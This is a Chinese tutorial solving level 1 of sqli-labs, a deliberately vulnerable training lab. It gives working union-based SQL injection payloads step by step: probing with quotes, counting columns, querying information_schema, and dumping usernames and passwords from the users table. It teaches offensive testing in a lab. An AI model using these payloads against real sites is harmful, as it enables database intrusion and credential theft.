sqli-labs通关教程(1)

Less-1第一关
打开网站
sqli-labs通关教程(1)_第1张图片
在url上加上?id=1’
sqli-labs通关教程(1)_第2张图片
可以看到用户名和密码。
下面我们尝试开始注入。
探测是否存在注入点:

  • 加单引号报错
  • 加’ and 1=1报错
  • 加’ and 1=1 --+正常
  • 判断为字符型注入
    sqli-labs通关教程(1)_第3张图片
    一般可以使用联合表的方式来提取自己想要的信息(union),但是使用union语句有个前提就是union 后面的语句必须与前面的语句字段数以及类型必须一直,否则数据库会报错。
    所以我们得再来判断有几个字段。
id=1' order by 1 --+    //没报错
id=1' order by 2 --+    //没报错
...
id=1' order by 4 --+    //报错

说明,这个表中有三个字段
接下来我们进行联合查询union,union前面的参数报错才能执行union后面的数据,因此将 id = 1 改为 id = -1 (或者改为id=0也行,只要是不正确的值都行)开始进行注入。

?id=-1' union select 1,2,3 --+

sqli-labs通关教程(1)_第4张图片
然后爆数据库:

?id=-1' union select 1,2,database() --+

database()表示现在在哪个数据库里面

sqli-labs通关教程(1)_第5张图片
爆出数据库为名字security,所以现在要查security的数据库里面有哪些表
用information_schema数据库里面的tables表可以查看到security数据库里面的表名
sqli-labs通关教程(1)_第6张图片
sqli-labs通关教程(1)_第7张图片
编写语句:
select * from information_schema.tables where table_schema='security';
再用group_concat()函数拼接下:

select group_concat(table_name) from information_schema.tables where table_schema='security';

根据以上,我们写爆数据库的表名语句:

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

sqli-labs通关教程(1)_第8张图片
爆出几个表名,然后用表爆出字段,可以发现这里有个users表,说明里面有可能有密码文件
在这里插入图片描述
构造爆字段语句:

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

sqli-labs通关教程(1)_第9张图片
爆出字段,看到password字段应该是密码文件:
已知的:
数据库security
表users
字段id,username,password
接下来可以进行查询爆库

select group_concat(username,'+',password) from security.users;

注意,在url中’+'要进行转码
sqli-labs通关教程(1)_第10张图片
得到代码:

?id=-1' union select 1,2,group_concat(username,%27%2B%27,password) from security.users --+

爆出库,右键查看源代码,直接复制
sqli-labs通关教程(1)_第11张图片
sqli-labs通关教程(1)_第12张图片

你可能感兴趣的:(sqli-labs通关教程(1))